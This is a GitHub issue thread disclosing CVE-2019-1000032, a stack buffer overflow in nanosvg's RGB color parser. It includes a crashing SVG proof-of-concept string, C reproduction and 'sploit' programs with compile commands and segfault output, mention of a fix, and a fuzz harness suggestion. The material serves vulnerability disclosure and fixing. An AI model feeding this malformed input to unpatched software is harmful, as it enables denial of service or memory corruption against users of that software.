Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2019-1000032 - Memory corruption bug in nsvg__parseColorRGB #136

Open
bitwave opened this issue Nov 16, 2018 · 4 comments

Comments

Projects
None yet
3 participants
@bitwave
Copy link

commented Nov 16, 2018

This simple Proof of Concept

<stop style="stop-color:rgb(0%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%)"/>

crashes nanosvg.
In this snippet it is clear why this happens:

#include <stdio.h>
#include <string.h>

static unsigned int nsvg__parseColorRGB(const char* str)
{
	int r = -1, g = -1, b = -1;
	char s1[32]="", s2[32]="";
	sscanf(str + 4, "%d%[%%, \t]%d%[%%, \t]%d", &r, s1, &g, s2, &b);
	if (strchr(s1, '%')) {
		return 1;
	} else {
		return 0;
	}
}

int main(int argc, char const *argv[])
{
	printf("%d\n", nsvg__parseColorRGB("rgb(0%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%)"));
	return 0;
}

sscanf tries to parse the string, and writes arbitrary number of '%' or '\t' into the s1 or s2 buffer. The buffer overflows and triggers a segfault. This could lead to memory corruption and/or denial of service.

Regards
bitwave

CC: @gehaxelt for the fuzzing

@gehaxelt

This comment has been minimized.

Copy link

commented Jan 30, 2019

Here's an exploit with the latest library version:

#include <stdio.h>
#include <string.h>
#include <float.h>
#define NANOSVG_IMPLEMENTATION
#include "./src/nanosvg.h"

int main(int argc, char const *argv[])
{
	printf("%d\n", nsvg__parseColorRGB("rgb(0%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%)"));
	return 0;
}

Compile and run it with:

 $> gcc -o sploit sploit.c  -lm -fno-stack-protector
$> ./sploit
fish: “./sploit” terminated by signal SIGSEGV (Address boundary error)
@gehaxelt

This comment has been minimized.

Copy link

commented Feb 19, 2019

Please use CVE-2019-1000032 to track this issue. @bitwave could you please update the issue title?

@bitwave bitwave changed the title Potential memory corruption bug in nsvg__parseColorRGB CVE-2019-1000032 - Memory corruption bug in nsvg__parseColorRGB Feb 19, 2019

@bitwave

This comment has been minimized.

Copy link
Author

commented Feb 19, 2019

78e7627 seems to fix this issue. But nsvg__parseNumber uses a 64 byte long static buffer. This could lead to another memory corruption bug.

@Dor1s

This comment has been minimized.

Copy link

commented Mar 5, 2019

Have you heard of https://github.com/google/oss-fuzz ? That is a free Fuzzing-as-a-Service for open source software. I suspect you can find more bugs like this if you write a fuzzer or few. For example, the following fuzz target:

#include <stddef.h>
#include <stdint.h>

#include <string>

#define NANOSVG_IMPLEMENTATION	// Expands implementation

#include "nanosvg.h"

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
  std::string str(reinterpret_cast<const char*>(Data), Size);
  nsvg__parseColor(str.c_str());
  return 0;
}

Finds a stack-buffer-overflow in seconds. If you're interested, please go through https://github.com/google/oss-fuzz/blob/master/docs/new_project_guide.md and let me know if you have any questions.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.